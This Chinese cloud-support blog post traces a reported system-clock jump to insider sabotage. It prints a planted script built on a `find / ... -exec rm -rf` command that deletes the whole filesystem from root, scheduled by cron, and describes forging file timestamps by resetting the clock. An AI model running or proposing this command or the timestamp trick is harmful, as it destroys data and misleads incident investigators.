记一次审核时间异常引发的惊天...

简介: 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

背景:

 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

image

image

1,目前云上现存的Linux系统存在时间“跳变”是在重启的时候记录UTC时间,启动完成后恢复系统对应时区的时间

2,确认当时ntp server本身没有问题,确认了这两点之后,我们继续排查这个问题(其实这一点基本可以忽略,ntp-server出问题的话就不是一个ecs的问题了)

3,修改时间本身基本上就是 date这个命令没跑了, timedatectl,ntpdate,tzselect也可以看看,根据history去过滤

# egrep "time|date|ntp|tz" .bash_history -n -2
567:date -s "2019-10-01"
568-vi initTask.sh
569-chmod 777 initTask.sh
570-ll
571-crontab -l
572-crontab -e
573-crontab -l
574:date -s "2019-05-02 10:56:02"
575:date

看到date命令修改了系统时间,确认了时间是从系统内部修改的,那么为什么要修改这个时间呢?

4,根据history记录的命令,查看inittask.sh这个脚本是做什么的呢?

[root@izbp1****ri25z ~]# find / -name "initTask.sh"
/etc/rc.d/init.d/initTask.sh
[root@izbp198rtvi9jbqddkri25z ~]# cd /etc/rc.d/init.d/
[root@izb****5z init.d]# stat initTask.sh
  File: ‘initTask.sh’
  Size: 32          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d  Inode: 918340      Links: 1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-05 12:47:10.103223269 +0800
Modify: 2019-10-01 00:00:44.400130560 +0800
Change: 2019-10-01 00:00:57.202168204 +0800
 Birth: -
[root@izbp****5z init.d]# cat initTask.sh
#不要执行,后果自负
find / "*.*" -exec rm -rf {} \#这个脚本会从根目录开始强制删文件
#不要执行,后果自负

5,看看这个脚本什么时候执行

[root@izbp1*****25z init.d]# crontab -l
30 20 2 10 * /ect/init.d/initTask.sh

这里可以看出来,想删文件的人,先修改系统时间,来将脚本的修改时间改成10月1号,然后计划任务在10月2号20:30执行,这样即使后面脚本本身没被删除,上去排查看时间也会以为是10月1号被人删的,同时还有一个点,5月2号也是在假期中,两个假期相关联不禁让人浮想联翩

6,看看系统的登陆日志

[root@izbp19*****5z ~]# last
root     pts/0        10*.7      Mon May  6 17:23   still logged in
root     pts/0        11*.30   Sun May  5 18:42 - 18:49  (00:06)
root     pts/4        111*145  Sun May  5 17:53 - 18:42  (00:48)
root     pts/4        111*145  Sun May  5 17:48 - 17:49  (00:01)
root     pts/3        12*.39      Sun May  5 17:42 - 20:25  (02:42)
root     tty1                          Sun May  5 16:20   still logged in
root     pts/3        11*145  Sun May  5 14:42 - 14:45  (00:02)
root     pts/4        111*145  Sun May  5 14:42 - 14:42  (00:00)
root     pts/3        111.*.145  Sun May  5 14:41 - 14:42  (00:01)
root     pts/0        111.*.145  Sun May  5 13:48 - 18:42  (04:54)
root     pts/0        111.*.145  Sun May  5 10:41 - 11:40  (00:59)
root     pts/0        111.*.145  Thu May  2 10:51 - 10:56  (00:04)
root     pts/0        111.*.7    Fri Apr 26 08:58 - 13:46  (04:47)
root     pts/0        211.*.179   Thu Apr 25 20:08 - 20:32  (00:23)
root     pts/0        111.*.98   Wed Mar 27 16:25 - 16:25  (00:00)

root pts/0 111.*.145 Thu May 2 10:51 - 10:56 (00:04)
574:date -s "2019-05-02 10:56:02"
两条记录时间吻合,且该ip多次登陆,判断为需要客户内部解决的问题,结案!

好久没有发帖了,多说两句 [捂脸哭]
1,不要让愤怒冲昏了头脑,有句俗话说得好“本是同根生,相煎何太急...”
2,阿里云的自动快照策略,你值得拥有!
3,阿里云的自动快照策略,你值得拥有!
4,阿里云的自动快照策略,你值得拥有!

目录
相关文章
|
11天前
|
Java
异常之道:探索Java异常处理与日志的黄金准则
异常之道:探索Java异常处理与日志的黄金准则
24 0
|
4月前
|
缓存 Java 关系型数据库
踩了定时线程池的坑,导致公司损失几千万,血的教训
踩了定时线程池的坑,导致公司损失几千万,血的教训
|
JSON Java 程序员
写了这么久的业务连异常都不知道怎么处理吗
前言 文本已收录至我的GitHub仓库,欢迎Star:github.com/bin39232820… 种一棵树最好的时间是十年前,其次是现在
185 0
|
SQL C# 数据库
小谈C#异常
小谈C#异常
96 0
小谈C#异常
|
运维 Kubernetes Cloud Native
一份不大的救命文档,一场时间与生死的接力
一份文档,能成为照亮黑暗的灯塔,打开一条求生通道。
928 0
一份不大的救命文档,一场时间与生死的接力
|
缓存 监控 前端开发
惊魂48小时,阿里工程师如何紧急定位线上内存泄露?
云计算场景下的大规模分布式系统中,网络异常、磁盘IO异常、时钟跳变、操作系统异常乃至软件本身可能存在bugs等,均给分布式系统正确运行带来了挑战。持续的监控报警完善是打造稳定高可用分布式系统过程中非常重要的工作,这个也就要求我们研发同学从细节处入手,本文将介绍的场景是针对线上报警的一丝异常,抽丝剥茧找到内存泄露的root cause,全程48小时,跟进修复了潜在风险隐患,并进一步丰富完善监控报警体系的过程。
392 0
惊魂48小时,阿里工程师如何紧急定位线上内存泄露?
|
SQL JavaScript 关系型数据库
避坑:一次离奇性能故障的排查与反思
某客户反馈生产库ETL及报表类SQL全部运行不出来,监控告警近期大量SQL语句执行计划发生变更。客户DBA通过对比新旧执行计划发现执行计划变更的SQL大部分都变成了走索引加上NL的方式,而且不止一个SQL出现这种问题,该生产库上几乎所有的AP类型SQL都出现了该问题。
3370 0
|
关系型数据库 Shell PostgreSQL
|
安全 Java Apache
早上收到这样一份通知,求一无漏洞框架,无力吐槽
关于停止使用Apache Struts2开发框架的通知   各有关单位: Apache Struts2(以下简称“S2”)是一种开源的、基于MVC架构的Java Web应用开发框架。S2自从2007年面世以来被国内外广泛使用,但也因屡次被披露存在高风险漏洞而闻名。
1169 0
|
安全
安全应急响应工作中易犯的5大错误
本文讲的是安全应急响应工作中易犯的5大错误,转行或开启一份新工作的最大挑战之一,不是了解该做什么,而是学会不能做什么。
1230 0

热门文章

最新文章